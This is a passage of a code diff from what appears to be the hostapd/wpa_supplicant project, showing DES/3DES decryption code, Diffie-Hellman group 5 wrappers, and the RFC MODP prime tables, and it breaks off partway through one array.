WPA_PUT_BE32(crypt + 4, work[1]);
|
||||
}
|
||||
|
||||
|
||||
void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain)
|
||||
{
|
||||
u32 work[2];
|
||||
|
||||
work[0] = WPA_GET_BE32(crypt);
|
||||
work[1] = WPA_GET_BE32(crypt + 4);
|
||||
desfunc(work, key->dk[0]);
|
||||
desfunc(work, key->dk[1]);
|
||||
desfunc(work, key->dk[2]);
|
||||
WPA_PUT_BE32(plain, work[0]);
|
||||
WPA_PUT_BE32(plain + 4, work[1]);
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
/*
|
||||
* DES and 3DES-EDE ciphers
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef DES_I_H
|
||||
#define DES_I_H
|
||||
|
||||
struct des3_key_s {
|
||||
u32 ek[3][32];
|
||||
u32 dk[3][32];
|
||||
};
|
||||
|
||||
void des_key_setup(const u8 *key, u32 *ek, u32 *dk);
|
||||
void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt);
|
||||
void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain);
|
||||
|
||||
void des3_key_setup(const u8 *key, struct des3_key_s *dkey);
|
||||
void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt);
|
||||
void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain);
|
||||
|
||||
#endif /* DES_I_H */
|
|
@ -0,0 +1,40 @@
|
|||
/*
|
||||
* Diffie-Hellman group 5 operations
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "dh_groups.h"
|
||||
#include "dh_group5.h"
|
||||
|
||||
|
||||
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ)
|
||||
{
|
||||
*publ = dh_init(dh_groups_get(5), priv);
|
||||
if (*publ == 0)
|
||||
return NULL;
|
||||
return (void *) 1;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
|
||||
const struct wpabuf *own_private)
|
||||
{
|
||||
return dh_derive_shared(peer_public, own_private, dh_groups_get(5));
|
||||
}
|
||||
|
||||
|
||||
void dh5_free(void *ctx)
|
||||
{
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
/*
|
||||
* Diffie-Hellman group 5 operations
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef DH_GROUP5_H
|
||||
#define DH_GROUP5_H
|
||||
|
||||
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ);
|
||||
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
|
||||
const struct wpabuf *own_private);
|
||||
void dh5_free(void *ctx);
|
||||
|
||||
#endif /* DH_GROUP5_H */
|
|
@ -0,0 +1,633 @@
|
|||
/*
|
||||
* Diffie-Hellman groups
|
||||
* Copyright (c) 2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "dh_groups.h"
|
||||
|
||||
|
||||
#ifdef ALL_DH_GROUPS
|
||||
|
||||
/* RFC 4306, B.1. Group 1 - 768 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 }
|
||||
*/
|
||||
static const u8 dh_group1_generator[1] = { 0x02 };
|
||||
static const u8 dh_group1_prime[96] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
/* RFC 4306, B.2. Group 2 - 1024 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 }
|
||||
*/
|
||||
static const u8 dh_group2_generator[1] = { 0x02 };
|
||||
static const u8 dh_group2_prime[128] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
#endif /* ALL_DH_GROUPS */
|
||||
|
||||
/* RFC 3526, 2. Group 5 - 1536 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 }
|
||||
*/
|
||||
static const u8 dh_group5_generator[1] = { 0x02 };
|
||||
static const u8 dh_group5_prime[192] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
#ifdef ALL_DH_GROUPS
|
||||
|
||||
/* RFC 3526, 3. Group 14 - 2048 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 }
|
||||
*/
|
||||
static const u8 dh_group14_generator[1] = { 0x02 };
|
||||
static const u8 dh_group14_prime[256] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
|
||||
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
|
||||
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
|
||||
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
|
||||
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
|
||||
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
|
||||
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
|
||||
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
|
||||
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
/* RFC 3526, 4. Group 15 - 3072 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 }
|
||||
*/
|
||||
static const u8 dh_group15_generator[1] = { 0x02 };
|
||||
static const u8 dh_group15_prime[384] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
|
||||
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
|
||||
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
|
||||
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
|
||||
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
|
||||
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
|
||||
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
|
||||
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
|
||||
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
|
||||
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
|
||||
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
|
||||
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
|
||||
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
|
||||
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
|
||||
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
|
||||
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
|
||||
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
|
||||
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
|
||||
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
|
||||
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
|
||||
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
|
||||
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
|
||||
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
|
||||
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
|
||||
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
/* RFC 3526, 5. Group 16 - 4096 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 }
|
||||
*/
|
||||
static const u8 dh_group16_generator[1] = { 0x02 };
|
||||
static const u8 dh_group16_prime[512] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
|
||||
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
|
||||
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
|
||||
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
|
||||
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
|
||||
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
|
||||
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
|
||||
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
|
||||
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
|
||||
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
|
||||
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
|
||||
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
|
||||
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
|
||||
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
|
||||
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
|
||||
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
|
||||
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
|
||||
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
|
||||
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
|
||||
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
|
||||
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
|
||||
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
|
||||
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
|
||||
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
|
||||
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
|
||||
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
|
||||
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
|
||||
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
|
||||
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
|
||||
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
|
||||
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
|
||||
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
|
||||
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
|
||||
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
|
||||
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
|
||||
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
|
||||
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
|
||||
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
|
||||
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
|
||||
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
|
||||
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
/* RFC 3526, 6. Group 17 - 6144 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 }
|
||||
*/
|
||||
static const u8 dh_group17_generator[1] = { 0x02 };
|
||||
static const u8 dh_group17_prime[768] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
|
||||
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
|
||||
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
|
||||
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
|
||||
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
|
||||
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
|
||||
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
|
||||
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
|
||||
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
|
||||
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
|
||||
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
|
||||
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
|
||||
